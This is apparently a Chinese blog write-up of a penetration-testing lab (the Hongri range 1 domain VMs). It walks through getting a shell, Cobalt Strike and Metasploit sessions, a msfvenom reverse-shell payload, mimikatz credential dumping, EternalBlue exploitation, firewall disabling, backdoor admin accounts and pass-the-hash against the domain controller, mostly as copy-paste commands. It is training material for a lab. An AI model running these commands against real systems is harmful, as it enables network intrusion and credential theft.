红日靶场1学习记录
搭建
下载地址 :
百度网盘: https://pan.baidu.com/s/1nC6V8e_EuKfaLb2IuEbe7w&shfl=sharepset
密码: 【红日安全】您的下载密码为:n1u2。
下载完三个压缩包全部解压即可,打开里面的vmx虚拟机配置文件会自动打开VMware,初始密码是hongrisec@2019
winserver和win2k3显示密码过期重新设置一下即可
网络括扑图如下:
这个win7是边界服务器,需要配置两个网卡,一个外网一个内网
在网络适配器加一个网卡设置为自定义Vmnet1(仅主机模式),另一个网卡为NAT模式
这里需要修改虚拟网络编辑器的Vmnet1网卡的网段为192.168.52.x/24
winserver2008和win2k3的网络适配器也都选择这个自定义的Vmnet1
因为它里面已经给配置好域里面的三个机器的ip了,我们只需要设置好网段就行了
网络配置:1
2
3
4win7边界: 外网:192.168.213.138 内网:192.168.52.143
Windows server2008: 192.168.52.138
win2k3 metasploitable: 192.168.52.141
kali: 192.168.213.135或者后面换了电脑可能是192.168.128.129或者172.31.9.255
互相ping一下测试发现问题:
winserver2008和win2k3能互相ping通
win7能ping通winserver2008和win2k3和物理机
winserver2008和win2k3和物理机不能ping通win7
解决:
打开win7的高级安全Windows防火墙,启用这四个
此时可以发现winserver2008和win2k3和物理机都能ping通win7了
渗透
win7的C盘找到phpstudy启动一下服务,此时win11主机可以访问win7服务
信息收集
dirsearch 扫目录:
root/root弱口令进去后台,
getshell
尝试慢日志注入1
SHOW VARIABLES like '%slow_query_log%';
1 | set global slow_query_log=1; |
蚁剑连接
发现同目录下有yxcms,主页有管理员登录地址和管理员用户名和密码
进去之后也可以执行sql语句
上线cs
不过不用管,这个主页面的shell就是administrators权限,直接上传cs生成的后门就能上线cs
先设置回显时间:1
sleep 1
内网信息收集
1 | shell ipconfig |
发现两台机器192.168.52.138和192.168.52.141,当前域名是god.org
执行命令:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18net view /domain 查询域列表 GOD
查询同域机器 net view
\\OWA
\\ROOT-TVI862UBEH
\\STU1
判断主域 net time /domain
Current time at \\owa.god.org is 2024/12/5 23:59:57
查询域用户 net user /domain
User accounts for \\owa.god.org
-------------------------------------------------------------------------------
Administrator Guest krbtgt
ligang liukaifeng01
The command completed with one or more errors.
cs执行net view1
2
3
4
5Server Name IP Address Platform Version Type Comment
----------- ---------- -------- ------- ---- -------
OWA 192.168.52.138 500 6.1 PDC
ROOT-TVI862UBEH 192.168.52.141 500 5.2
STU1 192.168.52.143 500 6.1
域:god.org
域内有三个用户:Administrator、ligang、liukaifeng01
域内三台主机:ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)、OWA
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143
提权
getuid发现是admin,需要提权到system
第一种方法用cs自带的提权(svc-exe)即可成功提权,提权成功后发现会多生成一个一样的beacon信息,身份是system
第二种方法用systeminfo补丁来打1
2
3systeminfo > systeminfo.txt
python2 windows-exploit-suggester.py -d 2021-04-16-mssb.xls -i systeminfo.txt
这里随便找一个CVE都可以打,在msf里具体展现
运行下mimikatz,抓出当前机子(win7)的密码
其实这里admin用户直接运行mimikatz也能得到当前win7的机子密码
这里成功获取我的win7的改过的密码
cs->msf
新建一个监听器
这张图是以前的,ip需要设置为kali的ip:192.168.213.135
1 | (1)msfconsole // 打开 MSF 工具 |
返回cs
此时msf收到meterpreter
此外我们也可以使用msf来联动cs:
msf生成木马:1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.213.135 lport=4422 -f exe > bgxg.exe
1 | (1)msfconsole |
此时收到meterpreter >
也可以把msf的meterpreter转移到cs
msf->cs
cs监听器保持这样
1 | (1)background // 挂起 会话. |
此时成功转到cs
搭建隧道
这里用的chisel
上传chisel.exe
服务端1
./chisel server -p 6666 --reverse
win71
chisel.exe client 192.168.213.135:6666 R:socks
这里运行失败了,报错无法找到一个dll,应该是系统的问题,npc那些都不行
这里用autoroute模块
MSF 的 autoroute 模块是 MSF 框架中自带的一个路由转发功能,实现过程是 MSF 框架在已经获取的 Meterpreter Shell 的基础上添加一条去往“内网”的路由,直接使用 MSF 去访问原本不能直接访问的内网资源,只要路由可达我们既可使用 MSF 来进行探测了。
1 | run post/multi/manage/autoroute |
此时添加成功1
run autoroute -p
查看路由
使用MSF开启socks代理1
2
3
4
5use auxiliary/server/socks_proxy
set version 4a
set srvhost 0.0.0.0
set srvport 1080
run
通过jobs查看代理设置成功
1 | vim /etc/proxychains4.conf |
使用 MSF apr模块探测内网存活主机1
2
3
4use post/windows/gather/arp_scanner
set RHOSTS 192.168.52.0/24
set SESSION 1
exploit
使用proxychains探测内网端口开放情况
1 | proxychains nmap -sV 192.168.52.141 |
发现445端口
使用永恒之蓝扫描模块查看是否存在漏洞1
2
3use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.141
exploit
横向移动
win3k3
开打1
2
3use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.52.141
run
发现需要修改下模块和target
换了exploit/windows/smb/ms17_010_psexec也不行,最后只能用auxiliary/admin/smb/ms17_010_command 模块执行单步命令1
2
3
4use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.141
set command whoami
run
发现是system权限,尝试加入用户
开启3389端口:
原命令1
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
1 | set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f |
1 | set command net user jmx qwer1234!@#$ /add |
这里一开始密码设置的1234,远程桌面没连上去,执行了net user发现用户没加上
应该是密码复杂度有要求
然后换成qwer1234!@#$成功写进去了,远程登陆域选择本地计算机的域
另一种是用telnet横向移动:
这里选择用telnet登录
开启telnet服务:1
2set COMMAND sc config tlntsvr start= auto
set COMMAND net start telnet
查看telnet是否成功开启1
set COMMAND netstat -an
1 | set command net user hack1 admin.123 /add |
使用代理telnet直接使用创建的用户名登录 成功拿下服务器1
proxychains telnet 192.168.52.141
域控
最终的目的是打域控: 192.168.52.138
通过端口扫描发现他也有永恒之蓝漏洞
直接开打1
2
3
4use auxiliary/admin/smb/ms17_010_command
set command whoami
set rhosts 192.168.52.138
run
然后和打Windows7一样开启远程端口,写后门用户,但是这里需要注意个问题,防火墙默认是不允许远程连接服务通过的,所以我们需要在meterpreter里关闭防火墙1
2shell
set command "netsh advfirewall set allprofiles state off"
然后操作和之前一样1
2
3
4
5
6
7
8
9
10
11set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
set command net user yk yk123!@# /add
set command net localgroup administrators yk /add
set command net user yyk yk123!@#456 /add
set command net localgroup administrators yyk /add
net user
net user /domain
此时可以发现用户yk和yyk写到域GOD里面
此时远程桌面连接成功,但是前提是必须只能登陆一个用户
登陆的用户名需要写GOD\yk,因为默认是OWA域,无法登陆成功
然后我们使用正向shell可以弹一个meterpreter1
2
3
4use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.52.138
run
抓哈希1
2load kiwi
kiwi_cmd "sekurlsa::logonpasswords"
这里报错: ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process
执行getpid: Current pid: 1444
执行ps,寻找一个x64进程,记住进程号
1 | migrate 2288 |
再执行1
kiwi_cmd "sekurlsa::logonpasswords"
当登录用户是新建的yk时
当登陆用户是liukaifeng时
获取域内所有成员的ntlm:1
kiwi_cmd "lsadump::lsa /patch"
1 | RID : 000001f4 (500) |
pth1
kiwi_cmd "Sekurlsa::pth /user:liukaifeng01 /domain:god.org /ntlm:e25bbe456dd96a635f4434511788e502"
需要谁就改谁1
dir \\ip\c$
验证
这里用win7的cs的beacon来验证1
mimikatz Sekurlsa::pth /user:Administrator /domain:god.org /ntlm:e25bbe456dd96a635f4434511788e502
1 | dir \\192.168.52.138\c$ |